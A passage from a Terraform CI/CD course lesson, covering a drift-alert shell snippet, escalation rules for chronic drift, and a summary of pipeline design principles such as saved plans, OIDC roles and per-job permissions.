          "Drift in ${PAIR}" "${SUMMARY}" "weekly"
        ;;
      prod)
        if [ "${DESTROYED}" -gt 0 ]; then
          # Drift that implies destruction: somebody DELETED something by
          # hand, or the code manages something that no longer exists. It is
          # the most serious thing a nightly plan can say.
          notify_channel "#ecomarket-platform" \
            "DRIFT WITH DESTRUCTIONS in ${PAIR} (${DESTROYED})" "${SUMMARY}"
          deduplicated_issue "drift-${FINGERPRINT}" \
            "Drift with destructions in ${PAIR}" "${SUMMARY}" "urgent"
        else
          deduplicated_issue "drift-${FINGERPRINT}" \
            "Drift in ${PAIR}" "${SUMMARY}" "normal"
        fi
        ;;
    esac
    ;;
esac

3. The deduplication rule.

The same fingerprint seven nights in a row means one of these three things, and none of them is fixed by opening one more issue:

Nights What the pipeline does Reason
1 Opens the issue It may be a one-off
2–4 Adds a comment to the existing issue with the date Records the persistence without generating noise
5 Comments and escalates: mentions the component owner Five days is either neglect or a misunderstood problem
7+ Comments, escalates and labels the issue chronic-drift It stops being an alert and becomes an agenda item

And the underlying rule, which is the important one: chronic drift is not an alerting problem, it is a pending decision. There are exactly three legitimate ways out, and the team's job is to pick one:

  1. Correct it: apply the code so that reality matches again.
  2. Adopt it: if the manual change was right, bring it into the code and merge it.
  3. Exclude it: if the attribute is legitimately managed by another system — an autoscaler that changes desired_capacity — add ignore_changes with a comment saying who manages it and why.

What is not a way out is silencing the alert. That turns chronic drift into invisible drift, which is the state that precedes the incidents in module 9.

Conclusion

This lesson has designed the machine module 7 was asking for, without yet writing a single line of any particular tool.

  • Moving Terraform into a pipeline changes seven things at once: credentials, interactivity, concurrency, traceability, reproducibility, output format and directory persistence. Each one has its countermeasure, and the two that cause the most incidents — concurrency and reproducibility — are invisible until the team grows.
  • Terraform is not a build pipeline. A plan depends on the real world at one instant, and an apply is not reversible. From that come the two structural rules: you apply the exact plan that was approved, and planning and applying do not share permissions.
  • The automation flags are not optional. -input=false, -no-color, TF_IN_AUTOMATION, -lock-timeout and -lockfile=readonly are the difference between a pipeline and a hung job. -auto-approve is legitimate when the delta has already been reviewed or the blast radius is zero by construction.
  • The canonical flow is two jobs: proposal (fmt, init, validate, tflint, scanner, test, plan -out, policies, analysis, publication) and apply (retrieve the artefact, approval, apply plan.tfplan). Not one — which blocks an executor and needs write access from the start — and not five, because each job pays for another init.
  • Different permissions per job is the defence against the PR that runs arbitrary code during the plan. And a "read-only" role still needs to be able to write the lock item: the alternative, -lock=false, produces plans computed during somebody else's apply.
  • OIDC makes the approval gate exist in the cloud too, because the token's sub includes the environment: without going through the protected environment, STS refuses to let the write role be assumed.
  • The plan artefact is the centrepiece. Saving it and applying it verbatim is what makes what was approved and what was executed the same thing. "Saved plan is stale" is the mechanism working. And the .tfplan contains the secrets in the clear: encryption, retention in days, restricted access, and never on the PR.
  • What goes on the PR is terraform show without -json, which respects sensitive, in three layers — headline, signals, collapsed and truncated plan — with the comment updated rather than duplicated. The JSON is analysed inside the runner and never leaves it.
  • Policies block and pipeline guards block too, but they are different things: the former express permanent rules under security's CODEOWNERS; the latter, operational thresholds. replace_paths remains the query that prevents the most incidents.
  • A single parameter determines the backend, the .tfvars, the role, the concurrency, the approval and the threshold. It is what makes it impossible to accidentally apply prod.tfvars against the dev backend, and it complements the account check guard from 06-05.
  • dev applies on its own on merge; staging and prod wait for people, with protected environments, deployment windows and an urgency hatch that demands a name, a ticket and a reason.
  • The concurrency group identifies the state, not the repository, and it is a different layer from backend locking: one prevents corruption, the other prevents the queue. And never cancel-in-progress on an apply.
  • Drift is detected with -detailed-exitcode, whose three codes must be handled separately. The drift alert and the health alert are different questions, with different urgencies and different channels; mixing them is how you train a team to ignore its alerts.
  • There are things you do not automate: the destroy of a persistent environment, the blind import, the force-unlock, state surgery and retrying a failed apply. The rule that unifies them: you automate what is reversible or what has been reviewed.
  • A module's pipeline looks nothing like a root's: it has no state, it produces a version, it is triggered by a tag, and its guards are terraform-docs --output-check and a CHANGELOG that the pipeline itself demands.

The design is complete. What remains is building it, and the next two lessons do that with the two most widespread tools, each with its own character. The next one, Automating Terraform with Jenkins, starts with the one that has the longest history and the most rough edges: a complete declarative Jenkinsfile for EcoMarket's root configurations, approval with input and the blocked-executor problem that forces the two-job design to be rethought, the stash of the plan with its security warning, locking with Lockable Resources, and keyless authentication from an agent — instance role, IRSA or the OIDC plugin — which finally configures end to end the trust relationship that 07-04 left pending.

© Copyright 2026. All rights reserved